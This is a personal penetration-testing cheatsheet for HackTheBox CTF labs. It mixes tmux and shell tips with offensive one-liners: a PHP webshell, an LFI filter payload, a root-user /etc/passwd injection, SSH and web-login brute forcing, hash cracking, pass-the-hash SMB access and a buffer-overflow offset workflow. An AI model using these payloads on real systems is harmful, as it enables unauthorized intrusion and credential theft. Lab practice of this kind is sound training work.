Cheatsheet for HackTheBox with common things to do while solving these CTF challenges.
Because a smart man once said:
Never google twice.
ctrl + r
Search History reverse
chmod 755 /path/to/the/script
update-rc.d /path/to/the/script defaults
update-rc.d -f /path/to/the/script remove
Delete Script from defaults
i for insert mode
esc to leave insert mode
To be continued with macros and all this handy shit
Config from ippsec.
#set prefix
set -g prefix C-a
bind C-a send-prefix
unbind C-b
set -g history-limit 100000
set -g allow-rename off
bind-key j command-prompt -p "Join pan from:" "join-pane -s '%%'"
bind-key s command-prompt -p "Send pane to:" "joian-pane -t '%%'"
set-window-option -g mode-keys vi
run-shell /opt/tmux-logging/logging.tmux
First press the prefix ctrl + a, then release the buttons and press the combination you want.
tmux new -s [Name]
new named session
prefix + c
create new window
prefix + ,
Rename window
prefix + #
change panes
prefix + w
list windows
prefix + %
vertical split
prefix + "
horizontal split
prefix + s #
join pane
prefix + z
zoom in/out to panes
prefix + !
make splitted part to own window
prefix + ]
enter vim mode
-> search with ? in vi mode
-> press space to start copying
-> press prefix + ] to paste
alt + .
cycle through arguments in history
tmux kill-session -t X
kill session by tag
prefix + &
kill pane
nmap -sV -sC -p- -oN [FILE] [IP]
Standard
nmap -p- -sV -sC -A --min-rate 1000 --max-retries 5 -oN [FILE] [IP]
Faster But ports could be overseen because of retransmissoin cap
nmap --script vuln -oN [FILE] [IP]
http://[IP]/index.php?file=php://filter/convert.base64-encode/resource=index.php
Get the contents of all PHP files in base64 without executing them.
<?php echo passthru($_GET['cmd']); ?>
PHP Webshell
python -c'import pty; pty.spawn("/bin/bash")'
Background Session with ctrl + z
stty raw -echo
stty -a
get row & col
stty rows X columns Y
Set rows and cols
Foreground Session again
fg #jobnumber
export XTERM=xterm-color
enable clear
Generate password
openssl passwd -1 -salt [Username] [PASSWD]
Then Add to passwd file
Username:generated password:UID:GUID:root:/root:/bin/bash
Capture Request with Burp.
Save Request to File.
sqlmap -r [REQUEST] --level [X] --risk [Y]
Download & save
It is necessary to change the permissions on the key file otherwise you have to enter a password!
chmod 600 [KEY]
ssh -i [KEY] [IP]
searchsploit [TERM]
searchsploit -m exploits/solaris/local/19232.txt
Copy to local directory
alien [Pakage.rpm]
Locate Overflow
patter_create.rb -l [SIZE]
Start gdb and run
r [PATTERN]
Copy the segfault String
pattern_offset.rb [SEGFAULT STRING]
Receive Match at exact offset X.
Now you know you have at X the EIP override and so much space in the buffer.
Get Information about the binary.
checksec [Binary]
Search packetstrom for Shellcode.
Remember to use correct architecture.
Bruteforce community string
nmap -sU -p 161 [IP] -Pn --script=snmp-brute
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt [IP]
Community String is in both cases "private"
snmp-check [IP] -c public
snmpwalk -c public [IP] -v 2c
hydra -l root -p admin 192.168.1.105 -t 4 ssh
hydra -L root -P File 192.168.1.105 -t 4 ssh
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.X http-post-form "/login:username=^USER^&password=^PASS^:F=failed"
john --wordlist=/usr/share/wordlists/rockyou.txt hash
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' "file.zip"
Note: Be careful with the quotes!
#!bin/bash
for password in $(cat /usr/share/wordlists/rockyou.txt)
do
openssl enc -d -aes-256-cbc -a -in file.txt.enc -k $password -out $password-drupal.txt
done
After this you get one file for every Password tried.
ls -lS
Sort them by size and find the one unique size. Or try to grep the content.
With nt hash the --pw-nt-hash flag is needed, default is ntlm!
pth-smbclient \\\\10.10.10.107\\$ -W <DOMAIN> -U <USER> -L <IP> --pw-nt-hash <HASH>
List all shares on .
pth-smbclient \\\\10.10.10.107\\<SHAR> -W <DOMAIN> -U <USER> --pw-nt-hash <HASH>
Connect to .
wget -r ftp://user:pass@server.com/
Recursively download with ftp.
smbclient //10.10.10.X/IPC$ -W Workgroup -I 10.10.10.X -U ""
wfuzz -z range,1-65600 --hc 500 "http://IP:PORT/dir?parameter=id&port=FUZZ"
Fuzz a range of ids/port numbers.
crunch 15 15 "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*?=walkthrough%&0123456789" -t 123456789012345@ > wordlist.txt
sha256
hashcat --force -m 1400 --username hash.txt /usr/share/wordlists/rockyou.txt